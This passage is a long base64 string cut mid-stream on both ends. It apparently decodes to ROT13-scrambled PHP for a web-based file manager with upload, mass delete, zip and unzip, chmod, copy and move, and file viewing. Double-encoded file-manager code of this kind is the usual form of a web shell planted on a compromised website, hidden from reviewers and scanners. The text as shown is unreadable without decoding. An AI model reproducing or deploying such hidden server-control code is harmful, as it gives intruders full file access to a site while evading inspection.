tjdmVyZjogMCcpOwogICAgICAgIHVybnFyZSgnUG5wdXItUGJhZ2VieTogemhmZy1lcmlueXZxbmdyLCBjYmZnLXB1cnB4PTAsIGNlci1wdXJweD0wJyk7CiAgICAgICAgdXJucXJlKCdDZW50em46IGNob3l2cCcpOwogICAgICAgIHVybnFyZSgnUGJhZ3JhZy1ZcmF0Z3U6ICcgLiBzdnlyZnZtcigkY25ndSAuICcvJyAuICRxeSkpOwogICAgICAgIGVybnFzdnlyKCRjbmd1IC4gJy8nIC4gJHF5KTsKICAgICAgICBya3ZnOwogICAgfSByeWZyIHsKICAgICAgICBzel9mcmdfemZ0KCdTdnlyIGFiZyBzYmhhcScsICdyZWViZScpOwogICAgICAgIHN6X2VycXZlcnBnKFNaX0ZSWVNfSEVZIC4gJz9jPScgLiBoZXlyYXBicXIoU1pfQ05HVSkpOwogICAgfQp9CgovLyBIY3libnEKdnMgKHZmZnJnKCRfQ0JGR1snaGN5J10pKSB7CiAgICAkY25ndSA9IFNaX0VCQkdfQ05HVTsKICAgIHZzIChTWl9DTkdVICE9ICcnKSB7CiAgICAgICAgJGNuZ3UgLj0gJy8nIC4gU1pfQ05HVTsKICAgIH0KCiAgICAkcmVlYmVmID0gMDsKICAgICRoY3libnFmID0gMDsKICAgICRnYmdueSA9IHBiaGFnKCRfU1ZZUkZbJ2hjeWJucSddWydhbnpyJ10pOwoKICAgIHNiZSAoJHYgPSAwOyAkdiA8ICRnYmdueTsgJHYrKykgewogICAgICAgICRnemNfYW56ciA9ICRfU1ZZUkZbJ2hjeWJucSddWydnemNfYW56ciddWyR2XTsKICAgICAgICB2cyAocnpjZ2woJF9TVllSRlsnaGN5Ym5xJ11bJ3JlZWJlJ11bJHZdKSAmJiAhcnpjZ2woJGd6Y19hbnpyKSAmJiAkZ3pjX2FuenIgIT0gJ2FiYXInKSB7CiAgICAgICAgICAgIHZzICh6YmlyX2hjeWJucXJxX3N2eXIoJGd6Y19hbnpyLCAkY25ndSAuICcvJyAuICRfU1ZZUkZbJ2hjeWJucSddWydhbnpyJ11bJHZdKSkgewogICAgICAgICAgICAgICAgJGhjeWJucWYrKzsKICAgICAgICAgICAgfSByeWZyIHsKICAgICAgICAgICAgICAgICRyZWViZWYrKzsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCiAgICB2cyAoJHJlZWJlZiA9PSAwICYmICRoY3libnFmID4gMCkgewogICAgICAgIHN6X2ZyZ196ZnQoZmNldmFncygnTnl5IHN2eXJmIGhjeWJucXJxIGdiIDxvPiVmPC9vPicsIHN6X3JhcCgkY25ndSkpKTsKICAgIH0gcnlmcnZzICgkcmVlYmVmID09IDAgJiYgJGhjeWJucWYgPT0gMCkgewogICAgICAgIHN6X2ZyZ196ZnQoJ0FiZ3V2YXQgaGN5Ym5xcnEnLCAnbnlyZWcnKTsKICAgIH0gcnlmciB7CiAgICAgICAgc3pfZnJnX3pmdChmY2V2YWdzKCdSZWViZSBqdXZ5ciBoY3libnF2YXQgc3Z5cmYuIEhjeWJucXJxIHN2eXJmOiAlZicsICRoY3libnFmKSwgJ3JlZWJlJyk7CiAgICB9CgogICAgc3pfZXJxdmVycGcoU1pfRlJZU19IRVkgLiAnP2M9JyAuIGhleXJhcGJxcihTWl9DTkdVKSk7Cn0KCi8vIFpuZmYgcXJ5cmd2YXQKdnMgKHZmZnJnKCRfQ0JGR1sndGViaGMnXSwgJF9DQkZHWydxcnlyZ3InXSkpIHsKICAgICRjbmd1ID0gU1pfRUJCR19DTkdVOwogICAgdnMgKFNaX0NOR1UgIT0gJycpIHsKICAgICAgICAkY25ndSAuPSAnLycgLiBTWl9DTkdVOwogICAgfQoKICAgICRyZWViZWYgPSAwOwogICAgJHN2eXJmID0gJF9DQkZHWydzdnlyJ107CiAgICB2cyAodmZfbmVlbmwoJHN2eXJmKSAmJiBwYmhhZygkc3Z5cmYpKSB7CiAgICAgICAgc2Jlcm5wdSAoJHN2eXJmIG5mICRzKSB7CiAgICAgICAgICAgIHZzICgkcyAhPSAnJykgewogICAgICAgICAgICAgICAgJGFyal9jbmd1ID0gJGNuZ3UgLiAnLycgLiAkczsKICAgICAgICAgICAgICAgIHZzICghc3pfZXFyeXJncigkYXJqX2NuZ3UpKSB7CiAgICAgICAgICAgICAgICAgICAgJHJlZWJlZisrOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHZzICgkcmVlYmVmID09IDApIHsKICAgICAgICAgICAgc3pfZnJnX3pmdCgnRnJ5cnBncnEgc3Z5cmYgbmFxIHNieXFyZSBxcnlyZ3JxJyk7CiAgICAgICAgfSByeWZyIHsKICAgICAgICAgICAgc3pfZnJnX3pmdCgnUmVlYmUganV2eXIgcXJ5cmd2YXQgdmdyemYnLCAncmVlYmUnKTsKICAgICAgICB9CiAgICB9IHJ5ZnIgewogICAgICAgIHN6X2ZyZ196ZnQoJ0FiZ3V2YXQgZnJ5cnBncnEnLCAnbnlyZWcnKTsKICAgIH0KCiAgICBzel9lcnF2ZXJwZyhTWl9GUllTX0hFWSAuICc/Yz0nIC4gaGV5cmFwYnFyKFNaX0NOR1UpKTsKfQoKLy8gQ25weCBzdnlyZgp2cyAodmZmcmcoJF9DQkZHWyd0ZWJoYyddLCAkX0NCRkdbJ212YyddKSkgewogICAgJGNuZ3UgPSBTWl9FQkJHX0NOR1U7CiAgICB2cyAoU1pfQ05HVSAhPSAnJykgewogICAgICAgICRjbmd1IC49ICcvJyAuIFNaX0NOR1U7CiAgICB9CgogICAgdnMgKCFweW5mZl9ya3ZmZ2YoJ012Y05lcHV2aXInKSkgewogICAgICAgIHN6X2ZyZ196ZnQoJ0JjcmVuZ3ZiYWYganZndSBuZXB1dmlyZiBuZXIgYWJnIG5pbnZ5bm95cicsICdyZWViZScpOwogICAgICAgIHN6X2VycXZlcnBnKFNaX0ZSWVNfSEVZIC4gJz9jPScgLiBoZXlyYXBicXIoU1pfQ05HVSkpOwogICAgfQoKICAgICRzdnlyZiA9ICRfQ0JGR1snc3Z5ciddOwogICAgdnMgKCFyemNnbCgkc3Z5cmYpKSB7CiAgICAgICAgcHVxdmUoJGNuZ3UpOwoKICAgICAgICB2cyAocGJoYWcoJHN2eXJmKSA9PSAxKSB7CiAgICAgICAgICAgICRiYXJfc3Z5ciA9IGVyZnJnKCRzdnlyZik7CiAgICAgICAgICAgICRiYXJfc3Z5ciA9IG9uZnJhbnpyKCRiYXJfc3Z5cik7CiAgICAgICAgICAgICRtdmNhbnpyID0gJGJhcl9zdnlyIC4gJ18nIC4gcW5ncignbHpxX1V2ZicpIC4gJy5tdmMnOwogICAgICAgIH0gcnlmciB7CiAgICAgICAgICAgICRtdmNhbnpyID0gJ25lcHV2aXJfJyAuIHFuZ3IoJ2x6cV9VdmYnKSAuICcubXZjJzsKICAgICAgICB9CgogICAgICAgICRtdmNjcmUgPSBhcmogU1pfTXZjY3JlKCk7CiAgICAgICAgJGVyZiA9ICRtdmNjcmUtPnBlcm5ncigkbXZjYW56ciwgJHN2eXJmKTsKCiAgICAgICAgdnMgKCRlcmYpIHsKICAgICAgICAgICAgc3pfZnJnX3pmdChmY2V2YWdzKCdOZXB1dmlyIDxvPiVmPC9vPiBwZXJuZ3JxJywgc3pfcmFwKCRtdmNhbnpyKSkpOwogICAgICAgIH0gcnlmciB7CiAgICAgICAgICAgIHN6X2ZyZ196ZnQoJ05lcHV2aXIgYWJnIHBlcm5ncnEnLCAncmVlYmUnKTsKICAgICAgICB9CiAgICB9IHJ5ZnIgewogICAgICAgIHN6X2ZyZ196ZnQoJ0FiZ3V2YXQgZnJ5cnBncnEnLCAnbnlyZWcnKTsKICAgIH0KCiAgICBzel9lcnF2ZXJwZyhTWl9GUllTX0hFWSAuICc/Yz0nIC4gaGV5cmFwYnFyKFNaX0NOR1UpKTsKfQoKLy8gSGFjbnB4CnZzICh2ZmZyZygkX1RSR1snaGFtdmMnXSkpIHsKICAgICRoYW12YyA9ICRfVFJHWydoYW12YyddOwogICAgJGhhbXZjID0gc3pfcHlybmFfY25ndSgkaGFtdmMpOwogICAgJGhhbXZjID0gZmdlX2VyY3lucHIoJy8nLCAnJywgJGhhbXZjKTsKCiAgICAkY25ndSA9IFNaX0VCQkdfQ05HVTsKICAgIHZzIChTWl9DTkdVICE9ICcnKSB7CiAgICAgICAgJGNuZ3UgLj0gJy8nIC4gU1pfQ05HVTsKICAgIH0KCiAgICB2cyAoIXB5bmZmX3JrdmZnZignTXZjTmVwdXZpcicpKSB7CiAgICAgICAgc3pfZnJnX3pmdCgnQmNyZW5ndmJhZiBqdmd1IG5lcHV2aXJmIG5lciBhYmcgbmludnlub3lyJywgJ3JlZWJlJyk7CiAgICAgICAgc3pfZXJxdmVycGcoU1pfRlJZU19IRVkgLiAnP2M9JyAuIGhleXJhcGJxcihTWl9DTkdVKSk7CiAgICB9CgogICAgdnMgKCRoYW12YyAhPSAnJyAmJiB2Zl9zdnlyKCRjbmd1IC4gJy8nIC4gJGhhbXZjKSkgewogICAgICAgICRtdmNfY25ndSA9ICRjbmd1IC4gJy8nIC4gJGhhbXZjOwoKICAgICAgICAvL2diIHNieXFyZQogICAgICAgICRnYnNieXFyZSA9ICcnOwogICAgICAgIHZzICh2ZmZyZygkX1RSR1snZ2JzYnlxcmUnXSkpIHsKICAgICAgICAgICAgJGdic2J5cXJlID0gY25ndXZhc2IoJG12Y19jbmd1LCBDTkdVVkFTQl9TVllSQU5aUik7CiAgICAgICAgICAgIHZzIChzel96eHF2ZSgkY25ndSAuICcvJyAuICRnYnNieXFyZSwgZ2VocikpIHsKICAgICAgICAgICAgICAgICRjbmd1IC49ICcvJyAuICRnYnNieXFyZTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgJG12Y2NyZSA9IGFyaiBTWl9NdmNjcmUoKTsKICAgICAgICAkZXJmID0gJG12Y2NyZS0+aGFtdmMoJG12Y19jbmd1LCAkY25ndSk7CgogICAgICAgIHZzICgkZXJmKSB7CiAgICAgICAgICAgIHN6X2ZyZ196ZnQoJ05lcHV2aXIgaGFjbnB4cnEnKTsKICAgICAgICB9IHJ5ZnIgewogICAgICAgICAgICBzel9mcmdfemZ0KCdOZXB1dmlyIGFiZyBoYWNucHhycScsICdyZWViZScpOwogICAgICAgIH0KCiAgICB9IHJ5ZnIgewogICAgICAgIHN6X2ZyZ196ZnQoJ1N2eXIgYWJnIHNiaGFxJywgJ3JlZWJlJyk7CiAgICB9CiAgICBzel9lcnF2ZXJwZyhTWl9GUllTX0hFWSAuICc/Yz0nIC4gaGV5cmFwYnFyKFNaX0NOR1UpKTsKfQoKLy8gUHVuYXRyIENyZXpmIChhYmcgc2JlIEp2YXFiamYpCnZzICh2ZmZyZygkX0NCRkdbJ3B1emJxJ10pICYmICFTWl9WRl9KVkEpIHsKICAgICRjbmd1ID0gU1pfRUJCR19DTkdVOwogICAgdnMgKFNaX0NOR1UgIT0gJycpIHsKICAgICAgICAkY25ndSAuPSAnLycgLiBTWl9DTkdVOwogICAgfQoKICAgICRzdnlyID0gJF9DQkZHWydwdXpicSddOwogICAgJHN2eXIgPSBzel9weXJuYV9jbmd1KCRzdnlyKTsKICAgICRzdnlyID0gZmdlX2VyY3lucHIoJy8nLCAnJywgJHN2eXIpOwogICAgdnMgKCRzdnlyID09ICcnIHx8ICghdmZfc3Z5cigkY25ndSAuICcvJyAuICRzdnlyKSAmJiAhdmZfcXZlKCRjbmd1IC4gJy8nIC4gJHN2eXIpKSkgewogICAgICAgIHN6X2ZyZ196ZnQoJ1N2eXIgYWJnIHNiaGFxJywgJ3JlZWJlJyk7CiAgICAgICAgc3pfZXJxdmVycGcoU1pfRlJZU19IRVkgLiAnP2M9JyAuIGhleXJhcGJxcihTWl9DTkdVKSk7CiAgICB9CgogICAgJHpicXIgPSAwOwogICAgdnMgKCFyemNnbCgkX0NCRkdbJ2hlJ10pKSB7CiAgICAgICAgJHpicXIgfD0gMDQwMDsKICAgIH0KICAgIHZzICghcnpjZ2woJF9DQkZHWydoaiddKSkgewogICAgICAgICR6YnFyIHw9IDAyMDA7CiAgICB9CiAgICB2cyAoIXJ6Y2dsKCRfQ0JGR1snaGsnXSkpIHsKICAgICAgICAkemJxciB8PSAwMTAwOwogICAgfQogICAgdnMgKCFyemNnbCgkX0NCRkdbJ3RlJ10pKSB7CiAgICAgICAgJHpicXIgfD0gMDA0MDsKICAgIH0KICAgIHZzICghcnpjZ2woJF9DQkZHWyd0aiddKSkgewogICAgICAgICR6YnFyIHw9IDAwMjA7CiAgICB9CiAgICB2cyAoIXJ6Y2dsKCRfQ0JGR1sndGsnXSkpIHsKICAgICAgICAkemJxciB8PSAwMDEwOwogICAgfQogICAgdnMgKCFyemNnbCgkX0NCRkdbJ2JlJ10pKSB7CiAgICAgICAgJHpicXIgfD0gMDAwNDsKICAgIH0KICAgIHZzICghcnpjZ2woJF9DQkZHWydiaiddKSkgewogICAgICAgICR6YnFyIHw9IDAwMDI7CiAgICB9CiAgICB2cyAoIXJ6Y2dsKCRfQ0JGR1snYmsnXSkpIHsKICAgICAgICAkemJxciB8PSAwMDAxOwogICAgfQoKICAgIHZzIChAcHV6YnEoJGNuZ3UgLiAnLycgLiAkc3Z5ciwgJHpicXIpKSB7CiAgICAgICAgc3pfZnJnX3pmdCgnQ3JlenZmZnZiYWYgcHVuYXRycScpOwogICAgfSByeWZyIHsKICAgICAgICBzel9mcmdfemZ0KCdDcmV6dmZmdmJhZiBhYmcgcHVuYXRycScsICdyZWViZScpOwogICAgfQoKICAgIHN6X2VycXZlcnBnKFNaX0ZSWVNfSEVZIC4gJz9jPScgLiBoZXlyYXBicXIoU1pfQ05HVSkpOwp9CgovKioqKioqKioqKioqKioqKioqKioqKioqKioqIC9OUEdWQkFGICoqKioqKioqKioqKioqKioqKioqKioqKioqKi8KCi8vIHRyZyBwaGVlcmFnIGNuZ3UKJGNuZ3UgPSBTWl9FQkJHX0NOR1U7CnZzIChTWl9DTkdVICE9ICcnKSB7CiAgICAkY25ndSAuPSAnLycgLiBTWl9DTkdVOwp9CgovLyBwdXJweCBjbmd1CnZzICghdmZfcXZlKCRjbmd1KSkgewogICAgc3pfZXJxdmVycGcoU1pfRlJZU19IRVkgLiAnP2M9Jyk7Cn0KCi8vIHRyZyBjbmVyYWcgc2J5cXJlCiRjbmVyYWcgPSBzel90cmdfY25lcmFnX2NuZ3UoU1pfQ05HVSk7CgokYm93cnBnZiA9IHZmX2VybnFub3lyKCRjbmd1KSA/IGZwbmFxdmUoJGNuZ3UpIDogbmVlbmwoKTsKJHNieXFyZWYgPSBuZWVubCgpOwokc3Z5cmYgPSBuZWVubCgpOwp2cyAodmZfbmVlbmwoJGJvd3JwZ2YpKSB7CiAgICBzYmVybnB1ICgkYm93cnBnZiBuZiAkc3Z5cikgewogICAgICAgIHZzICgkc3Z5ciA9PSAnLicgfHwgJHN2eXIgPT0gJy4uJykgewogICAgICAgICAgICBwYmFndmFocjsKICAgICAgICB9CiAgICAgICAgJGFyal9jbmd1ID0gJGNuZ3UgLiAnLycgLiAkc3Z5cjsKICAgICAgICB2cyAodmZfc3Z5cigkYXJqX2NuZ3UpKSB7CiAgICAgICAgICAgICRzdnlyZltdID0gJHN2eXI7CiAgICAgICAgfSByeWZydnMgKHZmX3F2ZSgkYXJqX2NuZ3UpICYmICRzdnlyICE9ICcuJyAmJiAkc3Z5ciAhPSAnLi4nKSB7CiAgICAgICAgICAgICRzYnlxcmVmW10gPSAkc3Z5cjsKICAgICAgICB9CiAgICB9Cn0KCnZzICghcnpjZ2woJHN2eXJmKSkgewogICAgYW5ncG5mcmZiZWcoJHN2eXJmKTsKfQp2cyAoIXJ6Y2dsKCRzYnlxcmVmKSkgewogICAgYW5ncG5mcmZiZWcoJHNieXFyZWYpOwp9CgovLyBoY3libnEgc2Jlegp2cyAodmZmcmcoJF9UUkdbJ2hjeWJucSddKSkgewogICAgc3pfZnVial91cm5xcmUoKTsgLy8gVVJOUVJFCiAgICBzel9mdWJqX2FuaV9jbmd1KFNaX0NOR1UpOyAvLyBwaGVlcmFnIGNuZ3UKICAgID8+CiAgICA8cXZpIHB5bmZmPSJjbmd1Ij4KICAgICAgICA8Yz48bz5IY3libnF2YXQgc3Z5cmY8L28+PC9jPgogICAgICAgIDxjIHB5bmZmPSJvZXJueC1qYmVxIj5RcmZndmFuZ3ZiYSBzYnlxcmU6IDw/Y3VjIHJwdWIgc3pfcmFwKHN6X3BiYWlyZWdfanZhKFNaX0VCQkdfQ05HVSAuICcvJyAuIFNaX0NOR1UpKSA/PjwvYz4KICAgICAgICA8c2JleiBucGd2YmE9IiIgenJndWJxPSJjYmZnIiByYXBnbGNyPSJ6aHlndmNuZWcvc2Jlei1xbmduIj4KICAgICAgICAgICAgPHZhY2hnIGdsY3I9InV2cXFyYSIgYW56cj0iYyIgaW55aHI9Ijw/Y3VjIHJwdWIgc3pfcmFwKFNaX0NOR1UpID8+Ij4KICAgICAgICAgICAgPHZhY2hnIGdsY3I9InV2cXFyYSIgYW56cj0iaGN5IiBpbnlocj0iMSI+CiAgICAgICAgICAgIDx2YWNoZyBnbGNyPSJzdnlyIiBhbnpyPSJoY3libnFbXSI+PG9lPgogICAgICAgICAgICA8dmFjaGcgZ2xjcj0ic3Z5ciIgYW56cj0iaGN5Ym5xW10iPjxvZT4KICAgICAgICAgICAgPHZhY2hnIGdsY3I9InN2eXIiIGFuenI9ImhjeWJucVtdIj48b2U+CiAgICAgICAgICAgIDx2YWNoZyBnbGNyPSJzdnlyIiBhbnpyPSJoY3libnFbXSI+PG9lPgogICAgICAgICAgICA8dmFjaGcgZ2xjcj0ic3Z5ciIgYW56cj0iaGN5Ym5xW10iPjxvZT4KICAgICAgICAgICAgPG9lPgogICAgICAgICAgICA8Yz4KICAgICAgICAgICAgICAgIDxvaGdnYmEgcHluZmY9Im9nYSI+PHYgcHluZmY9InZwYmEtbmNjeWwiPjwvdj4gSGN5Ym5xPC9vaGdnYmE+ICZhb2ZjOwogICAgICAgICAgICAgICAgPG8+PG4gdWVycz0iP2M9PD9jdWMgcnB1YiBoZXlyYXBicXIoU1pfQ05HVSkgPz4iPjx2IHB5bmZmPSJ2cGJhLXBuYXByeSI+PC92PiBQbmFwcnk8L24+PC9vPgogICAgICAgICAgICA8L2M+CiAgICAgICAgPC9zYmV6PgogICAgPC9xdmk+CiAgICA8P2N1YwogICAgc3pfZnVial9zYmJncmUoKTsKICAgIHJrdmc7Cn0KCi8vIHBiY2wgc2JleiBDQkZHCnZzICh2ZmZyZygkX0NCRkdbJ3BiY2wnXSkpIHsKICAgICRwYmNsX3N2eXJmID0gJF9DQkZHWydzdnlyJ107CiAgICB2cyAoIXZmX25lZW5sKCRwYmNsX3N2eXJmKSB8fCByemNnbCgkcGJjbF9zdnlyZikpIHsKICAgICAgICBzel9mcmdfemZ0KCdBYmd1dmF0IGZyeXJwZ3JxJywgJ255cmVnJyk7CiAgICAgICAgc3pfZXJxdmVycGcoU1pfRlJZU19IRVkgLiAnP2M9JyAuIGhleXJhcGJxcihTWl9DTkdVKSk7CiAgICB9CgogICAgc3pfZnVial91cm5xcmUoKTsgLy8gVVJOUVJFCiAgICBzel9mdWJqX2FuaV9jbmd1KFNaX0NOR1UpOyAvLyBwaGVlcmFnIGNuZ3UKICAgID8+CiAgICA8cXZpIHB5bmZmPSJjbmd1Ij4KICAgICAgICA8Yz48bz5QYmNsdmF0PC9vPjwvYz4KICAgICAgICA8c2JleiBucGd2YmE9IiIgenJndWJxPSJjYmZnIj4KICAgICAgICAgICAgPHZhY2hnIGdsY3I9InV2cXFyYSIgYW56cj0iYyIgaW55aHI9Ijw/Y3VjIHJwdWIgc3pfcmFwKFNaX0NOR1UpID8+Ij4KICAgICAgICAgICAgPHZhY2hnIGdsY3I9InV2cXFyYSIgYW56cj0ic3ZhdmZ1IiBpbnlocj0iMSI+CiAgICAgICAgICAgIDw/Y3VjCiAgICAgICAgICAgIHNiZXJucHUgKCRwYmNsX3N2eXJmIG5mICRwcykgewogICAgICAgICAgICAgICAgcnB1YiAnPHZhY2hnIGdsY3I9InV2cXFyYSIgYW56cj0ic3Z5cltdIiBpbnlocj0iJyAuIHN6X3JhcCgkcHMpIC4gJyI+JyAuIENVQ19SQlk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJHBiY2xfc3Z5cmZfcmFwID0gbmVlbmxfem5jKCdzel9yYXAnLCAkcGJjbF9zdnlyZik7CiAgICAgICAgICAgID8+CiAgICAgICAgICAgIDxjIHB5bmZmPSJvZXJueC1qYmVxIj5TdnlyZjogPG8+PD9jdWMgcnB1YiB2emN5YnFyKCc8L28+LCA8bz4nLCAkcGJjbF9zdnlyZl9yYXApID8+PC9vPjwvYz4KICAgICAgICAgICAgPGMgcHluZmY9Im9lcm54LWpiZXEiPkZiaGVwciBzYnlxcmU6IDw/Y3VjIHJwdWIgc3pfcmFwKHN6X3BiYWlyZWdfanZhKFNaX0VCQkdfQ05HVSAuICcvJyAuIFNaX0NOR1UpKSA/PjxvZT4KICAgICAgICAgICAgICAgIDx5bm9yeSBzYmU9InZhY19wYmNsX2diIj5RcmZndmFuZ3ZiYSBzYnlxcmU6PC95bm9yeT4KICAgICAgICAgICAgICAgIDw/Y3VjIHJwdWIgU1pfRUJCR19DTkdVID8+Lzx2YWNoZyBhbnpyPSJwYmNsX2diIiB2cT0idmFjX3BiY2xfZ2IiIGlueWhyPSI8P2N1YyBycHViIHN6X3JhcChTWl9DTkdVKSA/PiI+CiAgICAgICAgICAgIDwvYz4KICAgICAgICAgICAgPGM+PHlub3J5Pjx2YWNoZyBnbGNyPSJwdXJweG9iayIgYW56cj0iemJpciIgaW55aHI9IjEiPiBaYmlyPC95bm9yeT48L2M+CiAgICAgICAgICAgIDxjPgogICAgICAgICAgICAgICAgPG9oZ2diYSBweW5mZj0ib2dhIj48diBweW5mZj0idnBiYS1uY2N5bCI+PC92PiBQYmNsPC9vaGdnYmE+ICZhb2ZjOwogICAgICAgICAgICAgICAgPG8+PG4gdWVycz0iP2M9PD9jdWMgcnB1YiBoZXlyYXBicXIoU1pfQ05HVSkgPz4iPjx2IHB5bmZmPSJ2cGJhLXBuYXByeSI+PC92PiBQbmFwcnk8L24+PC9vPgogICAgICAgICAgICA8L2M+CiAgICAgICAgPC9zYmV6PgogICAgPC9xdmk+CiAgICA8P2N1YwogICAgc3pfZnVial9zYmJncmUoKTsKICAgIHJrdmc7Cn0KCi8vIHBiY2wgc2Jlegp2cyAodmZmcmcoJF9UUkdbJ3BiY2wnXSkgJiYgIXZmZnJnKCRfVFJHWydzdmF2ZnUnXSkpIHsKICAgICRwYmNsID0gJF9UUkdbJ3BiY2wnXTsKICAgICRwYmNsID0gc3pfcHlybmFfY25ndSgkcGJjbCk7CiAgICB2cyAoJHBiY2wgPT0gJycgfHwgIXN2eXJfcmt2ZmdmKFNaX0VCQkdfQ05HVSAuICcvJyAuICRwYmNsKSkgewogICAgICAgIHN6X2ZyZ196ZnQoJ1N2eXIgYWJnIHNiaGFxJywgJ3JlZWJlJyk7CiAgICAgICAgc3pfZXJxdmVycGcoU1pfRlJZU19IRVkgLiAnP2M9JyAuIGhleXJhcGJxcihTWl9DTkdVKSk7CiAgICB9CgogICAgc3pfZnVial91cm5xcmUoKTsgLy8gVVJOUVJFCiAgICBzel9mdWJqX2FuaV9jbmd1KFNaX0NOR1UpOyAvLyBwaGVlcmFnIGNuZ3UKICAgID8+CiAgICA8cXZpIHB5bmZmPSJjbmd1Ij4KICAgICAgICA8Yz48bz5QYmNsdmF0PC9vPjwvYz4KICAgICAgICA8YyBweW5mZj0ib2VybngtamJlcSI+CiAgICAgICAgICAgIEZiaGVwciBjbmd1OiA8P2N1YyBycHViIHN6X3JhcChzel9wYmFpcmVnX2p2YShTWl9FQkJHX0NOR1UgLiAnLycgLiAkcGJjbCkpID8+PG9lPgogICAgICAgICAgICBRcmZndmFuZ3ZiYSBzYnlxcmU6IDw/Y3VjIHJwdWIgc3pfcmFwKHN6X3BiYWlyZWdfanZhKFNaX0VCQkdfQ05HVSAuICcvJyAuIFNaX0NOR1UpKSA/PgogICAgICAgIDwvYz4KICAgICAgICA8Yz4KICAgICAgICAgICAgPG8+PG4gdWVycz0iP2M9PD9jdWMgcnB1YiBoZXlyYXBicXIoU1pfQ05HVSkgPz4mbnpjO3BiY2w9PD9jdWMgcnB1YiBoZXlyYXBicXIoJHBiY2wpID8+Jm56YztzdmF2ZnU9MSI+PHYgcHluZmY9InZwYmEtbmNjeWwiPjwvdj4gUGJjbDwvbj48L28+ICZhb2ZjOwogICAgICAgICAgICA8bz48biB1ZXJzPSI/Yz08P2N1YyBycHViIGhleXJhcGJxcihTWl9DTkdVKSA/PiZuemM7cGJjbD08P2N1YyBycHViIGhleXJhcGJxcigkcGJjbCkgPz4mbnpjO3N2YXZmdT0xJm56Yzt6YmlyPTEiPjx2IHB5bmZmPSJ2cGJhLW5jY3lsIj48L3Y+IFpiaXI8L24+PC9vPiAmYW9mYzsKICAgICAgICAgICAgPG8+PG4gdWVycz0iP2M9PD9jdWMgcnB1YiBoZXlyYXBicXIoU1pfQ05HVSkgPz4iPjx2IHB5bmZmPSJ2cGJhLXBuYXByeSI+PC92PiBQbmFwcnk8L24+PC9vPgogICAgICAgIDwvYz4KICAgICAgICA8Yz48dj5GcnlycGcgc2J5cXJlOjwvdj48L2M+CiAgICAgICAgPGh5IHB5bmZmPSJzYnlxcmVmIG9lcm54LWpiZXEiPgogICAgICAgICAgICA8P2N1YwogICAgICAgICAgICB2cyAoJGNuZXJhZyAhPT0gc255ZnIpIHsKICAgICAgICAgICAgICAgID8+CiAgICAgICAgICAgICAgICA8eXY+PG4gdWVycz0iP2M9PD9jdWMgcnB1YiBoZXlyYXBicXIoJGNuZXJhZykgPz4mbnpjO3BiY2w9PD9jdWMgcnB1YiBoZXlyYXBicXIoJHBiY2wpID8+Ij48diBweW5mZj0idnBiYS1uZWVial9oYyI+PC92PiAuLjwvbj48L3l2PgogICAgICAgICAgICA8P2N1YwogICAgICAgICAgICB9CiAgICAgICAgICAgIHNiZXJucHUgKCRzYnlxcmVmIG5mICRzKSB7CiAgICAgICAgICAgICAgICA/PgogICAgICAgICAgICAgICAgPHl2PjxuIHVlcnM9Ij9jPTw/Y3VjIHJwdWIgaGV5cmFwYnFyKGdldnooU1pfQ05HVSAuICcvJyAuICRzLCAnLycpKSA/PiZuemM7cGJjbD08P2N1YyBycHViIGhleXJhcGJxcigkcGJjbCkgPz4iPjx2IHB5bmZmPSJ2cGJhLXNieXFyZSI+PC92PiA8P2N1YyBycHViIHN6X3JhcChzel9wYmFpcmVnX2p2YSgkcykpID8+PC9uPjwveXY+CiAgICAgICAgICAgIDw/Y3VjCiAgICAgICAgICAgIH0KICAgICAgICAgICAgPz4KICAgICAgICA8L2h5PgogICAgPC9xdmk+CiAgICA8P2N1YwogICAgc3pfZnVial9zYmJncmUoKTsKICAgIHJrdmc7Cn0KCi8vIHN2eXIgaXZyanJlCnZzICh2ZmZyZygkX1RSR1snaXZyaiddKSkgewogICAgJHN2eXIgPSAkX1RSR1snaXZyaiddOwogICAgJHN2eXIgPSBzel9weXJuYV9jbmd1KCRzdnlyKTsKICAgICRzdnlyID0gZmdlX2VyY3lucHIoJy8nLCAnJywgJHN2eXIpOwogICAgdnMgKCRzdnlyID09ICcnIHx8ICF2Zl9zdnlyKCRjbmd1IC4gJy8nIC4gJHN2eXIpKSB7CiAgICAgICAgc3pfZnJnX3pmdCgnU3Z5ciBhYmcgc2JoYXEnLCAncmVlYmUnKTsKICAgICAgICBzel9lcnF2ZXJwZyhTWl9GUllTX0hFWSAuICc/Yz0nIC4gaGV5cmFwYnFyKFNaX0NOR1UpKTsKICAgIH0KCiAgICBzel9mdWJqX3VybnFyZSgpOyAvLyBVUk5RUkUKICAgIHN6X2Z1YmpfYW5pX2NuZ3UoU1pfQ05HVSk7IC8vIHBoZWVyYWcgY25ndQoKICAgICRzdnlyX2hleSA9IFNaX0VCQkdfSEVZIC4gc3pfcGJhaXJlZ19qdmEoKFNaX0NOR1UgIT0gJycgPyAnLycgLiBTWl9DTkdVIDogJycpIC4gJy8nIC4gJHN2eXIpOwogICAgJHN2eXJfY25ndSA9ICRjbmd1IC4gJy8nIC4gJHN2eXI7CgogICAgJHJrZyA9IGZnZWdieWJqcmUoY25ndXZhc2IoJHN2eXJfY25ndSwgQ05HVVZBU0JfUktHUkFGVkJBKSk7CiAgICAkenZ6cl9nbGNyID0gc3pfdHJnX3p2enJfZ2xjcigkc3Z5cl9jbmd1KTsKICAgICRzdnlyZnZtciA9IHN2eXJmdm1yKCRzdnlyX2NuZ3UpOwoKICAgICR2Zl9tdmMgPSBzbnlmcjsKICAgICR2Zl92em50ciA9IHNueWZyOwogICAgJHZmX25ocXZiID0gc255ZnI7CiAgICAkdmZfaXZxcmIgPSBzbnlmcjsKICAgICR2Zl9ncmtnID0gc255ZnI7CgogICAgJGl2cmpfZ3ZneXIgPSAnU3Z5cic7CiAgICAkc3Z5cmFuenJmID0gc255ZnI7IC8vIHNiZSBtdmMKICAgICRwYmFncmFnID0gJyc7IC8vIHNiZSBncmtnCgogICAgdnMgKCRya2cgPT0gJ212YycpIHsKICAgICAgICAkdmZfbXZjID0gZ2VocjsKICAgICAgICAkaXZyal9ndmd5ciA9ICdOZXB1dmlyJzsKICAgICAgICAkc3Z5cmFuenJmID0gc3pfdHJnX212c192YXNiKCRzdnlyX2NuZ3UpOwogICAgfSByeWZydnMgKHZhX25lZW5sKCRya2csIHN6X3RyZ192em50cl9ya2dmKCkpKSB7CiAgICAgICAgJHZmX3Z6bnRyID0gZ2VocjsKI